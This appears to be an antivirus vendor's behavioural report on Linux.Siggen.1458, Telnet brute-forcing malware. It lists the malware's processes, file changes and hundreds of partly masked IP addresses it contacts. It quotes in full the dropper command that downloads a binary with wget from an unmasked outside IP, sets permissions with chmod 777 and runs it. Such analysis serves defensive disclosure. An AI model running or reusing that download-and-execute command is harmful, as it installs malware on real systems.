Linux.Siggen.1458

Technical Information

Malicious functions:

Removes itself

Launches itself as a daemon

Substitutes application name for:

qha78pdbo2un4jjb

Launches processes:

/bin/sh -c wget http://178.62.227.13/wrgjwrgjwrg246356356356/n7; chmod 777 *; ./n7 wget.honey.echo.telnet.arm7
wget http://178.62.227.13/wrgjwrgjwrg246356356356/n7
chmod 777 n7 run.sh stdout.log
./n7 wget.honey.echo.telnet.arm7

Performs operations with the file system:

Modifies file access rights:

/root/n7
/root/run.sh

Creates or modifies files:

/root/n7

Deletes files:

/root/n7

Network activity:

Awaits incoming connections on ports:

127.0.0.1:13562

Establishes connection:

8.#.8.8:53
17#.##.227.13:3456

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

17#.##.###.#3/wrgjwrgjwrg246356356356/n7

Sends data to the following servers:

17#.##.227.13:3456
47.##.0.9:2323
75.###.126.153:2323
18#.##7.136.38:2323
21#.##0.222.91:2323
99.##.37.203:2323
48.###.67.37:2323
37.###.102.186:2323
27.###.139.55:2323
13#.##.180.45:2323
98.##.31.146:2323
10#.###.205.191:2323
2.###.108.251:2323
20#.##.65.76:2323
46.##.184.191:2323
37.###.86.76:2323
83.##.73.162:2323
14#.###.157.158:2323
22#.##.181.95:2323
11#.##.193.58:2323
10#.##7.9.18:2323
17#.###.229.151:2323
19#.###.221.121:2323
11#.#.200.220:2323
62.###.193.230:2323
20#.##7.246.6:2323
89.##.244.232:2323
99.###.95.160:2323
15#.###.183.141:2323
80.##.89.180:2323
19#.#.78.166:2323
13#.##5.49.58:2323
18#.###.141.235:2323
12#.##.220.68:2323
34.###.177.126:2323
15#.###.112.149:2323
68.###.78.205:2323
20#.##1.65.148:2323
98.###.215.47:2323
24.##.153.107:2323
19#.###.135.236:2323
15#.##9.130.37:2323
10#.##9.70.104:2323
16#.##.47.59:2323
70.###.72.244:2323
23.###.241.95:2323
71.###.236.159:2323
18.##.88.18:2323
13#.##.22.52:2323
97.###.178.86:2323
22#.###.135.178:2323
83.###.238.132:2323
76.###.88.68:2323
70.###.209.196:2323
32.##.130.213:2323
93.###.170.154:2323
47.###.86.23:2323
86.###.15.130:2323
14#.##.9.150:2323
70.###.150.38:2323
20#.##8.47.142:2323
97.###.16.128:2323
21#.##.113.108:2323
12#.#.190.226:2323
16#.#.81.194:2323
18#.##.210.1:2323
80.###.62.156:2323
47.###.63.222:2323
12#.##0.207.40:2323
14#.##1.200.45:2323
57.###.80.220:2323
19#.##1.72.101:2323
72.##.132.252:2323
19#.##1.108.56:2323
92.##.31.201:2323
16#.###.144.214:2323
57.###.200.209:2323
24.###.59.102:2323
77.##.138.76:2323
19.###.31.238:2323
17#.##4.74.163:2323
11#.###.174.129:2323
14#.##4.18.158:2323
10#.###.251.228:2323
35.###.95.143:2323
16#.##9.5.233:2323
72.###.219.226:2323
19#.###.100.181:2323
20#.###.222.202:2323
48.###.159.89:2323
9.###.0.70:2323
99.###.55.28:2323
5.###.123.171:2323
77.###.66.32:2323
72.##.224.227:2323
16#.##.27.54:2323
70.##.232.166:2323
10#.##.77.130:2323
94.##.153.166:2323
11#.##5.94.211:2323
11#.##.141.76:2323
97.##.165.200:2323
21#.##.71.34:2323
34.##.89.208:2323
65.##.116.167:2323
66.###.140.227:2323
2.##.#76.136:2323
2.##.#83.117:2323
15#.##0.24.15:2323
16#.##.52.203:2323
43.#.#41.154:2323
19#.##.167.43:2323
1.###.46.33:2323
48.###.115.70:2323
18#.#.248.1:2323
32.###.123.31:2323
12#.##.2.14:2323
19.###.141.208:2323
14#.##.26.23:2323
21#.##.64.43:2323
17#.##2.17.78:2323
13#.##2.151.28:2323
14#.##.76.240:2323
19#.###.164.132:2323
15#.##7.158.44:2323
74.###.169.156:2323
79.##.235.18:2323
13#.##.215.222:2323
11#.###.242.121:2323
19#.##1.94.53:2323
12.#.20.41:2323
94.##.79.156:2323
17#.##.185.225:2323
17#.##2.185.92:2323
18#.##2.160.74:2323
13#.##.209.195:2323
94.###.193.0:2323
12#.##.111.11:2323
67.###.222.252:2323
62.###.40.47:2323
21#.##0.93.207:2323
17#.##3.40.142:2323
44.##.11.39:2323
50.###.32.169:23
46.###.49.117:23
52.#.134.222:23
13#.##.111.88:23
13#.##6.219.219:23
50.##.7.233:23
64.###.192.78:23
13#.##2.110.189:23
17.###.89.224:23
82.###.48.134:2323
4.###.49.244:23
58.##.224.30:23
14.###.75.145:23
19#.##4.78.126:23
38.###.62.216:23
18#.##4.240.177:23
37.###.245.210:23
38.###.137.52:23
17#.##.202.78:23
20.##.9.125:2323
12#.##4.254.9:23
54.##.19.65:23
17#.##.96.136:23
45.##.189.236:23
68.###.36.169:23
54.##4.27.56:23
19#.##9.143.243:23
17#.##4.101.130:23
18#.##6.41.147:23
12#.##.181.97:2323
70.###.56.111:23
19#.#2.43.57:23
11#.##6.179.193:23
13#.##.118.127:23
15#.##0.8.229:23
93.##5.8.139:23
25.##.100.33:23
44.##.251.108:23
61.###.228.186:23
11#.##.234.117:2323
11#.#7.248.7:23
82.###.69.129:23
17#.##2.33.115:23
12#.##.219.237:23
40.##2.63.28:23
35.###.18.150:23
18#.#26.0.2:23
17#.##.142.160:23
20#.##1.239.222:23
91.##.158.195:2323
18#.#8.14.96:23
10#.##5.153.103:23
16#.##.96.223:23
15#.##9.240.208:23
78.###.245.154:23
16#.##3.198.147:23
47.##.39.9:23
12.###.125.133:23
13#.##8.195.201:23
32.##.14.151:2323
10#.##5.253.89:23
12#.##.232.70:23
13.##.161.195:23
16#.##5.144.252:23
77.###.152.230:23
78.###.164.113:23
19#.##.215.87:23
12#.##.77.211:23
20.##.226.166:23
43.##.213.214:2323
13#.##.184.194:23
90.##5.72.96:23
17#.##5.111.50:23
14#.##.129.201:23
23.##.26.186:23
20.##.32.148:23
14#.##8.26.46:23
12#.##.145.158:23
22#.##.60.147:23
15#.##9.4.74:2323
17#.##1.249.52:23
13#.##.179.128:23
14#.##6.160.61:23
14#.##.223.208:23
13#.#7.87.97:23
16#.##.25.107:23
21#.##3.231.243:23
14#.##.117.136:23
92.##1.8.201:23
10#.##.118.69:2323
4.##.122.173:23
20#.##6.126.208:23
16#.##.100.235:23
16#.##3.149.25:23
97.##.36.223:23
19#.##7.76.254:23
22#.#1.14.8:23
98.##.12.79:23
90.##.234.5:23
62.##.37.194:2323
76.###.61.188:23
52.##.36.155:23
13#.##0.238.49:23
10#.##6.253.110:23
20#.##.211.225:23
18#.##7.5.160:23
11#.#4.63.87:23
15#.##9.52.153:23
14#.##6.45.62:23
20#.##4.247.43:2323
21#.##8.167.85:23
42.###.249.21:23
47.##.253.42:23
21#.##.142.194:23
13#.##.221.162:23
10#.##.39.179:23
20#.##8.86.35:23
13#.##.194.143:23
11#.##3.48.136:23
11#.###.154.200:2323
43.##.4.11:23
18#.##3.12.193:23
12#.##.117.81:23
76.###.140.185:23
15#.##.109.231:23
15#.##1.107.216:23
71.##2.208.4:23
18#.##3.173.89:23
84.###.187.170:23
75.##.87.8:2323
10#.#0.114.1:23
12#.##.22.128:23
13#.##3.100.64:23
93.##.76.54:23
15#.##8.7.141:23
62.##.54.233:23
18#.##.209.179:23
17.###.183.64:23
15#.##9.222.158:23
18#.###.149.252:2323
17#.##4.226.146:23
64.###.152.164:23
35.##1.13.48:23
11#.#4.12.28:23
2.##.75.181:23
15#.##0.144.121:23
17#.##.75.253:23
20#.##.178.143:23
22#.#0.8.26:23
19#.###.202.165:2323
21#.##.67.203:23
11#.##7.57.196:23
40.#.231.245:23
19#.##2.55.214:23
12#.#28.39.1:23
52.##.60.123:23
18#.##4.97.231:23
11#.##0.200.177:23
72.###.41.122:23
84.##.233.88:2323
15#.##.196.79:23
5.###.138.200:23
72.###.120.128:23
62.##9.192.5:23
10#.##.192.195:23
4.###.71.100:23
5.##.193.116:23
21#.#.154.4:23
13#.#.84.253:23
17#.##.92.187:2323
13#.##2.73.57:23
65.###.24.175:23
14#.#1.3.219:23
11#.##9.211.115:23
80.#.165.60:23
14#.#0.61.55:23
20#.##2.42.162:23
15#.##8.219.51:23
44.###.97.150:23
16#.##.93.235:2323
2.###.44.193:23
61.###.49.145:23
14#.##3.192.68:23
18#.#3.30.86:23
17#.##.226.114:23
88.###.90.110:23
60.##.47.131:23
18#.#23.2.69:23
31.###.156.199:23
76.###.238.168:2323
22#.##7.35.58:23
66.###.233.39:23
68.##.168.224:23
66.##7.98.3:23
49.##.71.82:23
19#.##.239.21:23
10#.##1.153.209:23
41.##1.69.49:23
14#.##1.168.254:23
32.###.47.237:2323
59.##.197.49:23
66.###.223.37:23
20#.##.144.84:23
5.##.152.225:23
13#.#1.22.25:23
12#.##3.135.29:23
9.###.122.221:23
14#.##1.154.248:23
18#.##5.117.205:23
38.###.36.213:2323
19#.##1.38.60:23
20#.##5.179.218:23
15#.##5.253.171:23
13#.##.77.170:23
15#.##6.229.228:23
31.##.250.241:23
21#.##.114.32:23
88.###.93.139:23
1.##.151.144:23
14#.##.71.135:2323
17#.##1.172.16:23
10#.##.177.77:23
17#.##8.0.239:23
40.#.163.210:23
19#.##6.248.4:23
10#.##.36.171:23
50.##.54.108:23
46.###.222.143:23
11#.#2.30.9:23
4.###.7.73:2323
21#.##8.194.169:23
83.###.132.13:23
11#.##.134.169:23
14#.##9.82.171:23
79.###.194.248:23
71.##.80.182:23
10#.##.124.73:23
17#.##8.221.124:23
1.###.80.107:23
81.###.234.86:2323
43.###.199.12:23
62.###.160.170:23
43.###.65.139:23
68.###.144.224:23
13#.##.242.189:23
18#.##2.53.86:23
13#.##.178.171:23
57.###.40.161:23
10#.##.168.202:23
15#.##7.233.62:2323
38.###.175.148:23
19#.##1.173.2:23
18#.#6.59.26:23
20#.##2.173.207:23
15#.#5.61.30:23
20#.##6.207.140:23
12#.#.243.33:23
61.###.102.202:23
36.###.180.138:23
19#.##.156.42:2323
17#.##7.147.26:23
91.##.135.59:23
76.##.119.75:23
20#.##7.139.183:23
78.##.142.19:23
72.##.254.229:23
16#.##7.109.56:23
13#.##6.33.139:23
34.###.104.147:23
13.###.231.3:2323
74.##.161.214:23
16#.##9.38.238:23
20#.##2.42.46:23
15#.##2.165.151:23
13#.##1.137.47:23
63.###.250.224:23
49.###.124.102:23
82.###.123.221:23
16#.##8.123.135:23
22#.##.214.131:2323
42.###.173.107:23
18#.#7.1.40:23
20#.##6.234.202:23
21#.##9.236.154:23
19#.#24.22.2:23
16#.##9.97.182:23
48.###.213.125:23
18.###.92.125:23
18#.##0.201.223:23
74.###.238.231:2323
19#.##3.55.16:23
43.###.14.252:23
9.##.42.234:23
14#.##.87.189:23
41.###.223.131:23
17#.##.82.195:23
41.###.215.61:23
93.###.246.254:23
71.##.192.204:23
17#.###.247.125:2323
22#.#94.85.5:23
21#.##8.68.116:23
75.###.246.78:23
10#.##7.81.45:23
19#.##.123.197:23
12#.##.124.62:23
18#.##0.154.138:23
1.###.172.179:23
99.###.158.57:23
80.###.239.102:2323
11#.#6.56.9:23
20.##.62.245:23
17.###.155.26:23
12.#.71.127:23
11#.##.218.229:23
12#.##4.4.196:23
85.###.158.192:23
75.###.104.134:23
74.###.163.240:23
67.###.246.104:2323
20#.##.222.177:23
20#.##.238.208:23
14#.##9.46.17:23
16#.##.10.106:23
15#.##8.76.222:23
20#.##4.236.238:23
20#.##1.138.172:23
42.##.146.40:23
12#.##3.215.142:23
88.###.92.148:2323
20#.##.52.156:23
39.##.37.111:23
21#.##.174.128:23
1.###.166.29:23
19#.##2.20.239:23
10#.##0.128.160:23
18#.##4.99.70:23
82.##1.82.7:23
14#.##8.65.145:23
16#.##.255.49:2323
15#.##9.154.22:23
96.###.20.120:23
67.##.155.90:23
21#.##1.2.219:23
25.###.96.123:23
22#.##8.136.125:23
8.##.211.191:23
16#.##.118.219:23
13#.##2.147.80:23
14#.##.129.30:2323
93.###.232.118:23
1.###.190.209:23
14#.##5.230.80:23
15#.#.69.77:23
16#.##6.32.132:23
15#.##1.146.240:23
57.###.200.88:23
60.###.242.88:23
54.###.148.80:23
12#.###.135.185:2323
22#.##.249.31:23
11#.##0.40.183:23
13#.##.223.43:23
73.###.94.108:23
87.#.121.157:23
72.##.230.189:23
19#.##4.219.108:23
14#.##.220.66:23
45.##.77.50:23
21#.##.45.42:2323
95.##.46.111:23
18#.##8.61.77:23
18#.##9.98.149:23
14#.##2.230.22:23
15#.##5.206.102:23
86.##.18.173:23
76.#.15.207:23
18#.##0.59.225:23
17#.##9.126.156:23
86.###.236.27:2323
13#.##0.240.108:23
10#.##2.182.143:23
89.###.86.143:23
17#.##3.13.233:23
15#.##9.82.101:23
11#.##8.208.17:23
77.##.79.94:23
5.###.128.77:23
73.###.57.200:23
51.###.29.232:2323
54.##.231.211:23
11#.##.175.127:23
11#.##8.11.82:23
16#.##8.237.152:23
38.##.20.22:23
17#.##4.95.30:23
12#.#.245.57:23
10#.##2.148.230:23
14#.##.218.185:23
12#.##.40.35:2323
15#.##8.251.74:23
21#.##.94.139:23
12.##8.7.8:23
21#.##4.171.119:23
18#.#4.72.94:23
21#.##.80.105:23
12#.##2.128.220:23
19#.#6.40.92:23
11#.##.220.83:23
67.###.99.215:2323
85.###.87.237:23
21#.##8.223.234:23
95.###.210.40:23
19#.#10.1.63:23
72.###.225.137:23
2.###.47.236:23
78.###.231.125:23
13#.##5.29.78:23
83.##.54.228:23
72.###.194.205:2323
13#.##2.19.243:23
18#.##5.190.195:23
12#.##2.85.202:23
38.##.74.211:23
16#.##.182.126:23
83.##.95.185:23
96.###.173.94:23
70.###.77.104:23
11#.##.144.89:23
32.###.166.137:2323
22#.##.94.215:23
78.###.148.216:23
11#.##6.94.249:23
14.###.254.70:23
69.##.120.229:23
22#.##.237.202:23
15#.##.172.195:23
22#.##.127.224:23
18#.##9.186.74:23
11#.##.8.166:2323
21#.##1.154.239:23
83.##.89.103:23
20#.##.196.142:23
11#.##8.208.71:23
15#.##.192.212:23
16#.##8.197.18:23
19#.#1.29.12:23
39.###.15.197:23
52.###.240.212:23
15#.###.250.152:2323
4.##.130.76:23
22#.#9.5.62:23
17#.##.223.127:23
11#.##.194.147:23
11#.##6.198.228:23
19#.##9.193.239:23
49.###.139.94:23
13#.##5.90.131:23
12#.##5.132.190:23
18#.##.202.106:2323
52.##.199.28:23
21#.##2.44.120:23
99.###.60.202:23
20#.##4.48.139:23
19#.##.41.168:23
10#.##7.35.149:23
78.##.36.187:23
17#.##.233.103:23
11#.##5.93.248:23
68.###.72.238:2323
22#.#6.92.20:23
18#.##2.222.49:23
13#.##4.239.141:23
16#.#6.6.66:23
99.###.61.117:23
18#.##6.210.134:23
10#.##.246.94:23
92.###.27.170:23
93.##.254.26:23
91.##.6.161:2323
18#.##0.120.216:23
10#.##2.29.143:23
37.##.208.129:23
17#.##0.132.250:23
22#.##5.254.84:23
35.##6.33.91:23
21#.##4.249.204:23
94.#.130.103:23
42.###.11.220:23
75.###.91.137:2323
59.###.162.110:23
17#.##0.224.160:23
13#.##0.189.137:23
16#.#0.99.33:23
11#.##3.96.31:23
14#.##7.60.23:23
65.##.133.32:23
73.##8.251.0:23
10#.##.237.43:23
11#.##.184.7:2323
35.##7.3.187:23
22#.##6.90.187:23
17#.##8.231.240:23
15#.##.95.214:23
10#.##5.238.95:23
17#.##4.135.181:23
79.##.117.119:23
25.###.240.22:23
44.###.91.202:23
16#.##5.199.17:2323
11#.##.144.67:23
21#.##.56.201:23
14#.##7.129.63:23
15#.##3.82.53:23
11#.#.122.235:23
74.###.251.146:23
2.###.39.47:23
13#.#3.22.28:23
16#.##5.97.114:23
11#.##.60.134:2323
21#.##.150.153:23
13#.#1.98.3:23
81.###.163.170:23
9.##.75.10:23
18#.#1.95.60:23
13#.#79.4.90:23
54.##.195.123:23
19#.#5.87.36:23
11#.##3.216.216:23
18#.##.251.158:2323
13#.##7.16.58:23
19#.##3.117.157:23
4.##.56.105:23
13.###.164.167:23
35.##.77.144:23
68.##.55.230:23
17.###.227.62:23
10#.##2.198.117:23
25.###.59.204:23
42.##.42.169:2323
18#.##.125.115:23
66.##.191.252:23
68.##6.93.5:23
14#.##4.168.98:23
18#.##.12.102:23
93.##8.80.99:23
63.###.233.197:23
21#.##0.239.38:23
74.##0.7.239:23
32.###.212.244:2323
22#.##.132.109:23
34.###.153.34:23
12#.##3.34.222:23
19#.##.60.221:23
18#.##.107.71:23
19#.##2.215.206:23
18#.##9.152.166:23
83.##3.248.0:23
85.##2.20.20:23
37.###.254.102:2323
17#.##8.132.186:23
13#.##.46.220:23
14.###.231.72:23
17#.##.140.253:23
60.###.214.163:23
86.##.66.117:23
8.###.110.37:23
17#.#.178.211:23
72.###.191.126:23
66.###.12.173:2323
12#.##.246.239:23
19#.##1.172.67:23
98.##6.129.5:23
13#.##.244.214:23
15#.##3.219.111:23
20#.##.185.156:23
18#.##.154.68:23
16#.##.163.85:23
10#.##2.175.120:23
17#.###.169.107:2323
15#.##.238.49:23
12#.##0.77.170:23
14#.##9.173.112:23
13#.##7.12.169:23
18.###.207.43:23
40.###.213.252:23
84.##1.47.85:23
44.###.198.64:23
15#.##3.168.147:23
11#.###.211.220:2323
18#.##9.21.12:23
18#.#47.2.1:23
13#.##0.63.132:23
15#.##2.171.73:23
13#.##7.69.185:23
52.##9.23.98:23
32.###.163.227:23
12#.#.123.194:23
18#.#7.30.78:23
12#.##.66.109:2323
12#.##2.189.230:23

Receives data from the following servers:

17#.##.227.13:3456

Tecnologie

Termini

Formazione ed informazione

Falsi miti

Technical Information

Curing recommendations